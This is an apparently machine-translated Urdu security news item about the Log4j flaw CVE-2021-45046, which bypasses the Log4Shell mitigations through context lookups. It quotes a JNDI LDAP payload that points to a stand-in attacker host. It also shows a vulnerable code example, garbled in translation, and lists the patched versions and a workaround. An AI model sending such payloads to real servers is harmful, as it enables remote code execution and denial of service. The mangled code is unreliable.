Log4j 2 لائبریری (CVE-2021-45046) میں JNDI تلاش کے نفاذ میں ایک اور کمزوری کی نشاندہی کی گئی ہے، جو ریلیز 2.15 میں شامل کیے گئے اصلاحات کے باوجود ظاہر ہوتی ہے اور تحفظ کے لیے "log4j2.noFormatMsgLookup" ترتیب کے استعمال سے قطع نظر۔ یہ مسئلہ بنیادی طور پر Log4j 2 کے پرانے ورژنز کے لیے خطرناک ہے، جو "noFormatMsgLookup" پرچم کے استعمال سے محفوظ ہے، کیونکہ یہ سابقہ خطرات (Log4Shell، CVE-2021-44228) سے تحفظ کو نظرانداز کرنا ممکن بناتا ہے، جو آپ کو اپنے کوڈ پر عمل درآمد کرنے کی اجازت دیتا ہے۔ سرور ورژن 2.15 کے صارفین کے لیے، استحصال دستیاب وسائل کی تھکن کی وجہ سے ایپلیکیشن کے کریش ہونے تک محدود ہے۔
کمزوری صرف ان سسٹمز پر ظاہر ہوتی ہے جو لاگنگ کے لیے Context Lookups استعمال کرتے ہیں، جیسے ${ctx:loginId}، یا MDC ٹیمپلیٹس (تھریڈ سیاق و سباق کا نقشہ)، جیسے %X، %mdc، اور %MDC۔ اپلیکیشن میں سیاق و سباق کے سوالات یا MDC ٹیمپلیٹس کا استعمال کرتے وقت لاگ میں JNDI متبادلات پر مشتمل ڈیٹا کو آؤٹ پٹ کرنے کے لیے حالات پیدا کرنے پر عمل آتا ہے جو لاگ میں آؤٹ پٹ فارمیٹنگ کے اصولوں کی وضاحت کرتے ہیں۔
LunaSec کے محققین نے نوٹ کیا کہ Log4j کے 2.15 سے کم ورژنز کے لیے، اس خطرے کو Log4Shell اٹیک کے لیے ایک نئے ویکٹر کے طور پر استعمال کیا جا سکتا ہے، جس سے کوڈ پر عمل درآمد ہوتا ہے، اگر ThreadContext اظہارات جن میں بیرونی ڈیٹا شامل ہوتا ہے لاگ آؤٹ پٹ میں استعمال کیا جاتا ہے، قطع نظر اس کے کہ "protect" جھنڈا noMsgFormatLookups" یا ٹیمپلیٹ "%m{nolookups}" فعال ہے۔

تحفظ کو نظرانداز کرنے سے یہ حقیقت سامنے آتی ہے کہ "${jndi:ldap://attacker.com/a}" کے براہ راست متبادل کے بجائے، اس اظہار کو لاگ آؤٹ پٹ فارمیٹنگ کے قواعد میں استعمال ہونے والے ایک انٹرمیڈیٹ متغیر کی قدر کے ذریعے تبدیل کیا جاتا ہے۔ . مثال کے طور پر، اگر لاگ پر آؤٹ پٹ کرتے وقت سیاق و سباق کا استفسار ${ctx:apiversion} استعمال کیا جاتا ہے، تو اس میں ڈیٹا "${jndi:ldap://attacker.com/a}" کی جگہ لے کر حملہ کیا جا سکتا ہے۔ Apiversion متغیر پر لکھی گئی قدر۔ کمزور کوڈ کی مثال: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") پبلک سٹرنگ انڈیکس(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP ہیڈر ویلیو ThreadContext ThreadContext.put("apiversion) کو بھیجی جاتی ہے۔ "، apiVersion؛ // لاگ میں آؤٹ پٹ کرتے وقت، بیرونی apiversion ویلیو کو متبادل ${ctx:apiversion} logger.info ("API ورژن کے لیے درخواست موصول ہوئی") کا استعمال کرتے ہوئے کارروائی کی جائے گی۔ واپسی "ہیلو، دنیا!"؛ }
Log4j ورژن 2.15 میں، ThreadContext میں اقدار کو منتقل کرتے وقت کمزوری کو DoS حملوں کو انجام دینے کے لیے استعمال کیا جا سکتا ہے، جس کے نتیجے میں آؤٹ پٹ فارمیٹنگ ٹیمپلیٹ پروسیسنگ میں ایک لوپ ہوتا ہے۔

خطرے کو روکنے کے لیے، اپ ڈیٹس 2.16 اور 2.12.2 شائع کیے گئے تھے۔ Log4j 2.16 برانچ میں، ورژن 2.15 میں لاگو کردہ اصلاحات اور JNDI LDAP کی درخواستوں کو "لوکل ہوسٹ" کے پابند کرنے کے علاوہ، JNDI فعالیت کو بطور ڈیفالٹ مکمل طور پر غیر فعال کر دیا گیا ہے اور پیغام کے متبادل ٹیمپلیٹس کی حمایت کو ہٹا دیا گیا ہے۔ حفاظتی کام کے طور پر، JndiLookup کلاس کو کلاس پاتھ سے ہٹانے کا مشورہ دیا جاتا ہے (مثال کے طور پر، "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
آپ تقسیم کے صفحات (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) اور Java پلیٹ فارم مینوفیکچررز (GitHub, Docker, Oracle, vmWare, Broadcom اور Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SolarWinds, Symantec, McAfee, UK F-Secure، وغیرہ)۔
ماخذ: opennet.ru
